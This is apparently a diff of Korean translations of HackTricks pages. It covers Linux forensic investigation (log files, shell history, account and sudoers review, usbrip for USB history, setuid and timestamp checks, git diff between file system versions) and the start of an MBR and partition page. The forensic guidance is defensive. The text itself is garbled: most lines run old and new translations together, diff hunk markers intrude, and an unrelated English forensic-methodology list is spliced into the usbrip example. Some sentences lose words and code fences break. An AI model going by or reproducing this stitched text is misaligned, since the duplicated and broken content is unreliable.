- **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용. * **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용합니다.
- **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장. * **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장합니다.
- **/var/log/dmesg**: 장치 드라이버 메시지를 보유. * **/var/log/dmesg**: 장치 드라이버 메시지를 보유합니다.
- **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움. * **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움을 줍니다.
- **/var/log/cron**: cron 작업 실행을 로그. * **/var/log/cron**: 크론 작업 실행을 기록합니다.
- **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적. * **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적합니다.
- **/var/log/btmp**: 실패한 로그인 시도 문서화. * **/var/log/btmp**: 실패한 로그인 시도 문서화합니다.
- **/var/log/httpd/**: Apache HTTPD 오류 및 액세스 로그를 포함. * **/var/log/httpd/**: Apache HTTPD 오류 및 접근 로그를 포함합니다.
- **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록. * **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록합니다.
- **/var/log/xferlog**: FTP 파일 전송을 기록. * **/var/log/xferlog**: FTP 파일 전송을 기록합니다.
- **/var/log/**: 여기서 예기치 않은 로그를 항상 확인. * **/var/log/**: 여기에서 예상치 못한 로그를 항상 확인하십시오.
{% hint style="info" %} {% hint style="info" %}
Linux 시스템 로그 및 감사 서브시스템은 침입 또는 악성 소프트웨어 사건에서 비활성화되거나 삭제될 수 있습니다. Linux 시스템의 로그는 일반적으로 악의적 활동에 대한 가장 유용한 정보 중 일부를 포함하므로 침입자는 이를 정기적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때 삭제 또는 조작의 흔적 또는 순서가 잘못된 항목을 찾는 것이 중요합니다. 리눅스 시스템 로그 및 감사 하위 시스템은 침입 또는 악성코드 사건에서 비활성화되거나 삭제될 수 있습니다. 리눅스 시스템의 로그는 일반적으로 악의적인 활동에 대한 가장 유용한 정보를 포함하므로, 침입자는 이를 정기적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때는 삭제 또는 변조의 징후일 수 있는 간격이나 순서가 어긋난 항목을 찾는 것이 중요합니다.
{% endhint %} {% endhint %}
**Linux는 각 사용자의 명령 히스토리를 유지합니다**, 다음 위치에 저장됩니다: **리눅스는 각 사용자의 명령 기록을 유지합니다**, 저장 위치는 다음과 같습니다:
- \~/.bash\_history * \~/.bash\_history
- \~/.zsh\_history * \~/.zsh\_history
- \~/.zsh\_sessions/\* * \~/.zsh\_sessions/\*
- \~/.python\_history * \~/.python\_history
- \~/.\*\_history * \~/.\*\_history
또한, `last -Faiwx` 명령을 사용하여 사용자 로그인 목록을 제공합니다. 알 수 없거나 예기치 않은 로그인을 확인하십시오. 또한, `last -Faiwx` 명령은 사용자 로그인 목록을 제공합니다. 알려지지 않거나 예상치 못한 로그인을 확인하십시오.
추가 권한을 부여할 수 있는 파일을 확인하십시오: 추가 권한을 부여할 수 있는 파일을 확인하십시오:
- 부여되었을 수 있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers`를 검토하십시오. * `/etc/sudoers`에서 예상치 못한 사용자 권한이 부여되었는지 검토합니다.
- 부여되었을 수 있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers.d/`를 검토하십시오. * `/etc/sudoers.d/`에서 예상치 못한 사용자 권한이 부여되었는지 검토합니다.
- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/groups`를 검토하십시오. * `/etc/groups`를 검사하여 비정상적인 그룹 구성원 또는 권한을 식별합니다.
- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/passwd`를 검토하십시오. * `/etc/passwd`를 검사하여 비정상적인 그룹 구성원 또는 권한을 식별합니다.
일부 애플리케이션은 자체 로그를 생성합니다: 일부 은 자체 로그를 생성합니다:
- **SSH**: 무단 원격 연결을 나타내는 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검토하십시오. * **SSH**: 무단 원격 연결을 위해 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검사합니다.
- **Gnome 데스크톱**: Gnome 애플리케이션을 통해 최근 액세스된 파일을 나타내는 _\~/.recently-used.xbel_을 확인하십시오. * **Gnome Desktop**: Gnome 애플리케이션을 통해 최근에 접근한 파일을 위해 _\~/.recently-used.xbel_를 확인합니다.
- **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 히스토리 및 다운로드를 확인하십시오. * **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 기록 및 다운로드를 확인합니다.
- **VIM**: 액세스된 파일 경로 및 검색 기록과 같은 사용 정보를 나타내는 _\~/.viminfo_를 검토하십시오. * **VIM**: 접근한 파일 경로 및 검색 기록과 같은 사용 세부정보를 위해 _\~/.viminfo_를 검토합니다.
- **Open Office**: 침해된 파일을 나타낼 수 있는 최근 문서 액세스를 확인하십시오. * **Open Office**: 손상된 파일을 나타낼 수 있는 최근 문서 접근을 확인합니다.
- **FTP/SFTP**: 무단 파일 전송을 나타내는 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_ 로그를 검토하십시오. * **FTP/SFTP**: 무단 파일 전송이 있을 수 있는 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_의 로그를 검토합니다.
- **MySQL**: 무단 데이터베이스 활동을 나타낼 수 있는 _\~/.mysql\_history_를 조사하십시오. * **MySQL**: 무단 데이터베이스 활동을 드러낼 수 있는 실행된 MySQL 쿼리를 위해 _\~/.mysql\_history_를 조사합니다.
- **Less**: 보고된 파일 및 실행된 명령을 포함하는 _\~/.lesshst_를 분석하십시오. * **Less**: 본 파일 및 실행된 명령을 포함한 사용 기록을 위해 _\~/.lesshst_를 분석합니다.
- **Git**: 저장소 변경 사항을 나타내는 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검토하십시오. * **Git**: 리포지토리에 대한 변경 사항을 위해 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검사합니다.
### USB 로그 ### USB Logs
[**usbrip**](https://github.com/snovvcrash/usbrip)는 USB 이벤트 기록 테이블을 작성하기 위해 Linux 로그 파일 (`/var/log/syslog*` 또는 `/var/log/messages*`에 따라 다름)을 구문 분석하는 순수 Python 3으로 작성된 소프트웨어입니다. [**usbrip**](https://github.com/snovvcrash/usbrip)는 리눅스 로그 파일(`/var/log/syslog*` 또는 `/var/log/messages*`, 배포판에 따라 다름)을 파싱하여 USB 이벤트 이력 테이블을 구성하는 순수 Python 3로 작성된 작은 소프트웨어입니다.
**사용된 모든 USB를 알아내는 것**은 중요하며, "위반 이벤트"를 찾기 위해 허가된 USB 목록이 있는 경우 더 유용할 수 있습니다. 모든 USB 사용 내역을 아는 것은 흥미롭고, "위반 사건"(목록에 없는 USB 사용)을 찾기 위해 승인된 USB 목록이 있다면 더욱 유용할 것입니다.
### 설치 ### Installation
```bash ```bash
pip3 install usbrip pip3 install usbrip
usbrip ids download #Download USB ID database usbrip ids download #Download USB ID database
``` ```
### 예시 ### 예시
#### Basic Forensic Methodology
##### Linux Forensics
1. **Collecting Volatile Data**
- **Description:** Collecting volatile data involves capturing information that is stored in temporary storage or memory that will be lost when the system is powered off or restarted.
- **Tools:** `ps`, `top`, `netstat`, `lsof`
2. **Collecting Non-Volatile Data**
- **Description:** Collecting non-volatile data involves capturing information that is stored on persistent storage devices such as hard drives or SSDs.
- **Tools:** `dd`, `dc3dd`, `EnCase`, `FTK Imager`
3. **Analyzing Malware**
- **Description:** Analyzing malware involves examining malicious software to understand its functionality and behavior.
- **Tools:** `Cuckoo Sandbox`, `Hybrid Analysis`, `VirusTotal`
4. **Timeline Analysis**
- **Description:** Timeline analysis involves creating a chronological sequence of events based on the evidence collected during the investigation.
- **Tools:** `log2timeline`, `mactime`, `Plaso`
5. **File Carving**
- **Description:** File carving involves extracting files from disk images or other storage media when the file system is damaged or incomplete.
- **Tools:** `Scalpel`, `PhotoRec`, `Foremost`
6. **Memory Analysis**
- **Description:** Memory analysis involves examining the memory of a system to identify running processes, open network connections, and other volatile data.
- **Tools:** `Volatility`, `Rekall`, `LiME`
7. **Network Forensics**
- **Description:** Network forensics involves monitoring and analyzing network traffic to gather evidence for investigating security incidents.
- **Tools:** `Wireshark`, `tcpdump`, `NetworkMiner`
8. **Reporting**
- **Description:** Reporting involves documenting the findings of the forensic investigation in a clear and organized manner.
- **Tools:** `Sleuth Kit`, `Autopsy`, `X-Ways Forensics`
```bash ```bash
usbrip events history #Get USB history of your curent linux machine usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@ -371,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
더 많은 예제 및 정보는 깃허브 내부에 있습니다: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 바로 액세스하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 사용자 계정 및 로그온 활동 검토 ## Review User Accounts and Logon Activities
_**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**를 조사하여 알려진 무단 이벤트와 밀접한 시기에 생성되거나 사용된 이상한 이름 또는 계정을 확인하십시오. 또한 가능한 sudo 브루트 포스 공격을 확인하십시오.\ _**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**에서 비정상적인 이름이나 계정을 조사하여 알려진 무단 이벤트와 가까운 시기에 생성되거나 사용된 계정을 확인하십시오. 또한 가능한 sudo 무차별 대입 공격을 확인하십시오.\
또한, 사용자에게 부여된 예상치 못한 권한을 확인하기 위해 _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일을 확인하십시오.\ 또한, _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일에서 사용자에게 부여된 예상치 못한 권한을 확인하십시오.\
마지막으로, **비밀번호가 없는 계정** 또는 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾아보세요. 마지막으로, **비밀번호가 없는** 계정이나 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾아보십시오.
## 파일 시스템 조사 ## Examine File System
### 악성 코드 조사를 위한 파일 시스템 구조 분석 ### Analyzing File System Structures in Malware Investigation
악성 코드 사건을 조사할 때 파일 시스템의 구조는 사건의 순서와 악성 코드의 내용을 드러내는 중요한 정보원입니다. 그러나 악성 코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 분석을 방해하는 기술을 개발하고 있습니다. 악성코드 사건을 조사할 때, 파일 시스템의 구조는 사건의 순서와 악성코드의 내용을 드러내는 중요한 정보 출처입니다. 그러나 악성코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 분석을 방해하는 기술을 개발하고 있습니다.
이러한 안티 포렌식 방법에 대응하기 위해 다음이 필요합니다: 이러한 반포렌식 방법에 대응하기 위해서는 다음이 필수적입니다:
* **Autopsy**와 같은 도구를 사용하여 이벤트 타임라인을 시각화하거나 **Sleuth Kit**의 `mactime`을 사용하여 자세한 타임라인 데이터를 분석하여 **철저한 타임라인 분석**을 수행합니다. * **Autopsy**와 같은 도구를 사용하여 사건 타임라인을 시각화하거나 **Sleuth Kit의** `mactime`을 사용하여 상세한 타임라인 데이터를 통해 **철저한 타임라인 분석을 수행**하십시오.
* 시스템의 $PATH에 있는 **예상치 못한 스크립트**를 조사하십시오. 이는 공격자가 사용하는 쉘 또는 PHP 스크립트를 포함할 수 있습니다. * 공격자가 사용할 수 있는 셸 또는 PHP 스크립트를 포함할 수 있는 시스템의 $PATH에서 **예상치 못한 스크립트를 조사**하십시오.
* **/dev**에서 **비정상적인 파일**을 조사하십시오. 일반적으로 특수 파일을 포함하지만 악성 코드 관련 파일을 포함할 수도 있습니다. * **/dev에서 비정상적인 파일을 검사**하십시오. 전통적으로 특별한 파일이 포함되어 있지만, 악성코드 관련 파일이 있을 수 있습니다.
* ".. " (점 점 공백) 또는 "..^G" (점 점 제어-G)와 같은 이름의 **숨겨진 파일 또는 디렉토리**를 검색하십시오. 이는 악의적인 콘텐츠를 숨길 수 있습니다. * **".. " (dot dot space) 또는 "..^G" (dot dot control-G)와 같은 이름의 숨겨진 파일이나 디렉토리를 검색**하십시오. 이는 악성 콘텐츠를 숨길 수 있습니다.
* `find / -user root -perm -04000 -print` 명령을 사용하여 **setuid root 파일**을 식별합니다. 이는 공격자가 악용할 수 있는 권한이 상승된 파일을 찾습니다. * 공격자가 악용할 수 있는 권한이 상승된 파일을 찾기 위해 다음 명령어를 사용하여 **setuid root 파일을 식별**하십시오: `find / -user root -perm -04000 -print`
* inode 테이블에서 **삭제 타임스탬프**를 검토하여 대량 파일 삭제를 확인하고 루트킷 또는 트로이 목이 존재할 수 있음을 나타낼 수 있습니다. * **inode 테이블에서 삭제 타임스탬프를 검토**하여 대량 파일 삭제를 발견하십시오. 이는 루트킷이나 트로이 목마의 존재를 나타낼 수 있습니다.
* 하나를 식별한 후 **인접한 악성 파일을 위해 연속된 inode**를 조사하십시오. 이들은 함께 배치될 수 있습니다. * 하나의 악성 파일을 식별한 후 **인접한 inode를 검사**하여 근처에 악성 파일이 있을 수 있습니다.
* **최근 수정된 파일**을 확인하기 위해 일반적인 이진 디렉토리 (_/bin_, _/sbin_)를 확인하십시오. 이는 악성 코드에 의해 변경될 수 있습니다. * **최근 수정된 파일을 위해 일반 바이너리 디렉토리** (_/bin_, _/sbin_)를 확인하십시오. 이는 악성코드에 의해 변경되었을 수 있습니다.
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -411,24 +376,24 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
```` ````
{% hint style="info" %} {% hint style="info" %}
**공격자****파일을 수정**하여 **파일이 정당해 보이도록 시간을 조작**할 수 있지만 **inode**를 수정할 수는 없습니다. 동일한 폴더 내의 다른 파일들과 동일한 시간에 생성 및 수정되었다는 **파일**을 발견하더라도 **inode**가 **예상치 못하게 크다면**, 해당 **파일의 타임스탬프가 수정**된 것입니다. **공격자****파일이 합법적으로 보이도록** **시간**을 **수정**할 수 있지만, **inode**는 **수정**할 수 없습니다. 같은 폴더의 나머지 파일과 **동일한 시간**에 생성 및 수정된 것으로 표시된 **파일**을 발견했지만 **inode**가 **예상보다 더 크다면**, 해당 **파일의 타임스탬프가 수정된 것입니다**.
{% endhint %} {% endhint %}
## 다른 파일 시스템 버전의 파일 비교 ## 서로 다른 파일 시스템 버전 비교
### 파일 시스템 버전 비교 요약 ### 파일 시스템 버전 비교 요약
파일 시스템 버전을 비교하고 변경 사항을 파악하기 위해 간소화된 `git diff` 명령을 사용합니다: 파일 시스템 버전을 비교하고 변경 사항을 파악하기 위해 간소화된 `git diff` 명령을 사용합니다:
* **새 파일을 찾으려면**, 두 디렉토리를 비교합니다: * **새로운 파일을 찾으려면**, 두 디렉토리를 비교합니다:
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
* **수정된 내용에 대해**, 특정 라인을 무시하고 변경 사항을 나열하십시오: * **수정된 콘텐츠**: 특정 라인을 무시하고 변경 사항을 나열합니다:
```bash ```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
* **삭제된 파일을 감지하려면**: * **삭제된 파일을 감지하기 위해**:
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
@ -437,37 +402,37 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* `C`: 복사된 파일 * `C`: 복사된 파일
* `D`: 삭제된 파일 * `D`: 삭제된 파일
* `M`: 수정된 파일 * `M`: 수정된 파일
* `R`: 이름이 바뀐 파일 * `R`: 이름이 변경된 파일
* `T`: 유형 변경 (예: 파일에서 심볼릭 링크로) * `T`: 유형 변경 (예: 파일에서 심볼릭 링크로)
* `U`: 병합되지 않은 파일 * `U`: 병합되지 않은 파일
* `X`: 알 수 없는 파일 * `X`: 알 수 없는 파일
* `B`: 손상된 파일 * `B`: 손상된 파일
## 참고 자료 ## References
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **책: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** * **책: Linux 시스템을 위한 악성코드 포렌식 필드 가이드: 디지털 포렌식 필드 가이드**
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS 해킹을 제로에서 히어로로 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
**사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 광고**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! 당신은 **사이버 보안 회사**에서 일하고 있습니까? 당신의 **회사가 HackTricks에 광고되기를 원하십니까**? 아니면 **최신 버전의 PEASS에 접근하거나 HackTricks를 PDF로 다운로드**하고 싶습니까? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * [**PEASS 패밀리**](https://opensea.io/collection/the-peass-family), 우리의 독점 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 받으세요.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요. **당신의 해킹 트릭을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출하여 공유하세요.**
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요: 지금 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,43 +1,44 @@
# 파티션/파일 시스템/카빙 # Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
## 파티션 ## Partitions
**하드 드라이브** 또는 **SSD 디스크에는 데이터를 물리적으로 분리하기 위한 다른 파티션**이 포함될 수 있습니다.\ 하드 드라이브 또는 **SSD 디스크는 데이터를 물리적으로 분리하기 위해 서로 다른 파티션을 포함할 수 있습니다**.\
디스크의 **최소** 단위는 **섹터**입니다(일반적으로 512B로 구성됨). 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다. 디스크의 **최소** 단위는 **섹터**(일반적으로 512B로 구성됨)입니다. 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다.
### MBR (마스터 부트 레코드) ### MBR (마스터 부트 레코드)
**부팅 코드의 446B 이후 디스크의 첫 번째 섹터에 할당**됩니다. 이 섹터는 PC에게 파티션을 어디에서 어떻게 마운트해야 하는지 알려주는 데 중요합니다.\ 부트 코드의 446B 이후 **디스크의 첫 번째 섹터에 할당됩니다**. 이 섹터는 PC에 파티션을 어디서 어떻게 마운트해야 하는지를 나타내는 데 필수적입니다.\
**최대 4개의 파티션**(최대 **1개만 활성/부팅 가능**)을 허용합니다. 그러나 더 많은 파티션이 필요한 경우 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 마지막 바이트는 부트 레코드 서명 **0x55AA**입니다. 하나의 파티션만 활성화될 수 있습니다.\ 최대 **4개의 파티션**을 허용합니다(최대 **1개**만 활성/**부팅 가능**). 그러나 더 많은 파티션이 필요하면 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 **마지막 바이트**는 부트 레코드 서명 **0x55AA**입니다. 하나의 파티션만 활성으로 표시할 수 있습니다.\
MBR은 **최대 2.2TB**를 허용합니다. MBR은 **최대 2.2TB**를 허용합니다.
![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>) ![](<../../../.gitbook/assets/image (490).png>)
MBR의 **바이트 440에서 443**까지는 **Windows 디스크 서명**(Windows를 사용하는 경우)을 찾을 수 있습니다. 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows 부팅이 방해될 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. MBR의 **440에서 443 바이트**에서 **Windows 디스크 서명**을 찾을 수 있습니다(Windows가 사용되는 경우). 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows가 부팅되지 않을 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>) ![](<../../../.gitbook/assets/image (493).png>)
**형식** **형식**
| 오프셋 | 길이 | 아이템 | | 오프셋 | 길이 | 항목 |
| ----------- | ---------- | ------------------- | | ----------- | -------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | 부팅 코드 | | 0 (0x00) | 446(0x1BE) | 부트 코드 |
| 446 (0x1BE) | 16 (0x10) | 첫 번째 파티션 | | 446 (0x1BE) | 16 (0x10) | 첫 번째 파티션 |
| 462 (0x1CE) | 16 (0x10) | 두 번째 파티션 | | 462 (0x1CE) | 16 (0x10) | 두 번째 파티션 |
| 478 (0x1DE) | 16 (0x10) | 세 번째 파티션 | | 478 (0x1DE) | 16 (0x10) | 세 번째 파티션 |
@ -46,24 +47,24 @@ MBR의 **바이트 440에서 443**까지는 **Windows 디스크 서명**(Windows
**파티션 레코드 형식** **파티션 레코드 형식**
| 오프셋 | 길이 | 아이템 | | 오프셋 | 길이 | 항목 |
| --------- | -------- | ------------------------------------------------------ | | --------- | ------ | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | 활성 플래그 (0x80 = 부팅 가능) | | 0 (0x00) | 1 (0x01) | 활성 플래그 (0x80 = 부팅 가능) |
| 1 (0x01) | 1 (0x01) | 시작 헤드 | | 1 (0x01) | 1 (0x01) | 시작 헤드 |
| 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) | | 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
| 3 (0x03) | 1 (0x01) | 시작 실린더 최하위 8비트 | | 3 (0x03) | 1 (0x01) | 시작 실린더 최하위 8비트 |
| 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = Linux) | | 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | 끝 헤드 | | 5 (0x05) | 1 (0x01) | 종료 헤드 |
| 6 (0x06) | 1 (0x01) | 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) | | 6 (0x06) | 1 (0x01) | 종료 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
| 7 (0x07) | 1 (0x01) | 끝 실린더 최하위 8비트 | | 7 (0x07) | 1 (0x01) | 종료 실린더의 최하위 8비트 |
